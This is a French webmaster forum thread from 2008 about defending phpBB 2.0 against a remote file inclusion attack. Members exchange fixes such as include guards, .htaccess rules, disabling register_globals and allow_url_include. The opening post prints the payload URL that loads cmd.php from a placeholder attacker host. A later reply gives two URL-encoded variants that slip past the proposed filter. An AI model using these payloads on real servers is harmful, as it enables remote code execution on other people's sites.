[RESOLU] Faille de sécurité PHPBB

Consultez la formation à Google Analytics de WebRankInfo / Ranking Metrics


EasyExpat
WRInaute impliqué
WRInaute impliqué
 
Messages: 491
Inscription: Mar Oct 08, 2002 20:11

[RESOLU] Faille de sécurité PHPBB

Message le Ven Juin 20, 2008 12:39

Salut

Bon, j'ai été attacké cette nuit donc je fais partager et les solutions de sécurité sont les bienvenues. Voila ce qui s'est passé (c'est déja documenté sur le net):

Code: Tout sélectionner
Arbitrary File Inclusion:
http://[target]/includes/functions.php?phpbb_root_path=http://[attacker]/cmd.php


Documenté ici :
http://www.frsirt.com/english/advisories/2007/0451

ou ici:
http://secwatch.org/advisories/1015365/

Donc j'ai tourné url_fopen off dans php afin que cette vulnérabilité ne puisse etre utilisée. Ceci dit, ca me gene sur d'autres aspecs du site, donc toute solution de sécurisation serait la bienvenue...Par exemple checker la valeur retour et interdire si elle commence par http ?? Dans quels fichier ?

Merci d'avance des suggestions et correctifs...
Dernière édition par EasyExpat le Ven Juin 20, 2008 13:59, édité 1 fois.

darkjukka
WRInaute passionné
WRInaute passionné
 
Messages: 612
Inscription: Sam Avr 28, 2007 12:34

Message le Ven Juin 20, 2008 12:45

Code: Tout sélectionner
if ( !defined('IN_PHPBB') && !defined('IN_PORTAL') ) {
   die('Hacking attempt');
   exit;
}

Au début des fichiers de ce genre évite les inclusions comme cela ;)

loran750
WRInaute passionné
WRInaute passionné
 
Messages: 629
Inscription: Mar Mar 15, 2005 13:22

Message le Ven Juin 20, 2008 12:48

Euh ...

1/ ça date de 2007
2/ ça ne concerne pas PhpBB mais un clode nommé PhpBB XS (renommé depuis en Icy Phoenix).

Donc rien à voir avec PhpBB !


EasyExpat
WRInaute impliqué
WRInaute impliqué
 
Messages: 491
Inscription: Mar Oct 08, 2002 20:11

Message le Ven Juin 20, 2008 12:52

loran750 a écrit:Euh ...

1/ ça date de 2007
2/ ça ne concerne pas PhpBB mais un clode nommé PhpBB XS (renommé depuis en Icy Phoenix).

Donc rien à voir avec PhpBB !


:roll: Désolé de te contredire, loran750 mais j'utilise bien phpBB 2.0.21
Il se trouve seulement que la faille est a plusieurs niveaux. Tu veux que j'essaye sur ton forum :-D ;-)

darkjukka> Mais il y a cette protection dans le code PHPBB au niveau du fichier common.php deja:
Code: Tout sélectionner
if ( !defined('IN_PHPBB') )
{
   die("Hacking attempt");
}

darkjukka
WRInaute passionné
WRInaute passionné
 
Messages: 612
Inscription: Sam Avr 28, 2007 12:34

Message le Ven Juin 20, 2008 12:53

Je l'ai dans tout mes fichiers includes perso ;)

Et puis ton phpBB n'est pas à jour, c'est la 2.0.23 en ce moment.


webmasterlamogere
WRInaute accro
WRInaute accro
 
Messages: 1874
Inscription: Dim Déc 17, 2006 21:08

Message le Ven Juin 20, 2008 13:50

il y a la solution htaccess pour bloquer : http://www.urlrewriting.fr/scripts58-Snipets.html

c'est à cause de register_globals à on


EasyExpat
WRInaute impliqué
WRInaute impliqué
 
Messages: 491
Inscription: Mar Oct 08, 2002 20:11

Message le Ven Juin 20, 2008 13:59

webmasterlamogere a écrit:c'est à cause de register_globals à on


Je sais :-(

webmasterlamogere a écrit:il y a la solution htaccess pour bloquer : http://www.urlrewriting.fr/scripts58-Snipets.html



Bon c'est super ca !! Merci :D

Capitaine
Nouveau WRInaute
 
Messages: 40
Inscription: Lun Jan 03, 2005 10:36

Message le Dim Juin 22, 2008 14:59

EasyExpat a écrit:
webmasterlamogere a écrit:il y a la solution htaccess pour bloquer : http://www.urlrewriting.fr/scripts58-Snipets.html



Bon c'est super ca !! Merci :D


2 remarques :
- il manque "RewriteEngine On" juste au début (pas évident pour qqun qui débute)

- cette protection est inefficace :
http://[target]/?phpbb_root_path=%68ttp://[attacker]
ou
http://[target]/?phpbb_root_path=htt%70://[attacker]

passe quand meme :roll:


carrel
WRInaute accro
WRInaute accro
 
Messages: 2755
Inscription: Mer Oct 18, 2006 15:13

Message le Dim Juin 22, 2008 15:13

Pourquoi ne met tu pas

SetEnv REGISTER_GLOBALS 0

dans ton htaccess ?

C'est la base.


A plus.


Bool
WRInaute accro
WRInaute accro
 
Messages: 1290
Inscription: Jeu Fév 26, 2004 15:59

Message le Dim Juin 22, 2008 15:28

Au lieu de désactiver l'URL fopen qui en lui même ne pose pas vraiment de problème, il est préférable de désactiver l'URL include qui lui ne rime à rien.

Code: Tout sélectionner
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off


Par contre cette option n'est disponible que depuis PHP 5.2.


PS : mais ça n'empêche pas de désactiver le register_globals et de corriger les failles... :roll:


EasyExpat
WRInaute impliqué
WRInaute impliqué
 
Messages: 491
Inscription: Mar Oct 08, 2002 20:11

Message le Dim Juin 22, 2008 17:03

Bool a écrit:Au lieu de désactiver l'URL fopen qui en lui même ne pose pas vraiment de problème, il est préférable de désactiver l'URL include qui lui ne rime à rien.
Par contre cette option n'est disponible que depuis PHP 5.2.

PS : mais ça n'empêche pas de désactiver le register_globals et de corriger les failles... :roll:

Merci :-) Par contre moi je suis en PHP Version 5.1.6 :-(

En ce qui concerne la remarque sur le register_globals, je sais, c'est dans la TODO list :-p


Formation recommandée sur ce thème :

Formation Google Analytics : en 2 jours, apprenez comment exploiter l'essentiel des possibilités de l'outil de mesure d'audience de Google. Formation animée par Julien Coquet, expert certifié officiellement par Google Analytics.

Tous les détails sur le site Ranking Metrics : programme, prix, dates et lieux, inscription en ligne.

Lectures recommandées sur ce thème :



Qui est en ligne

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 2 invités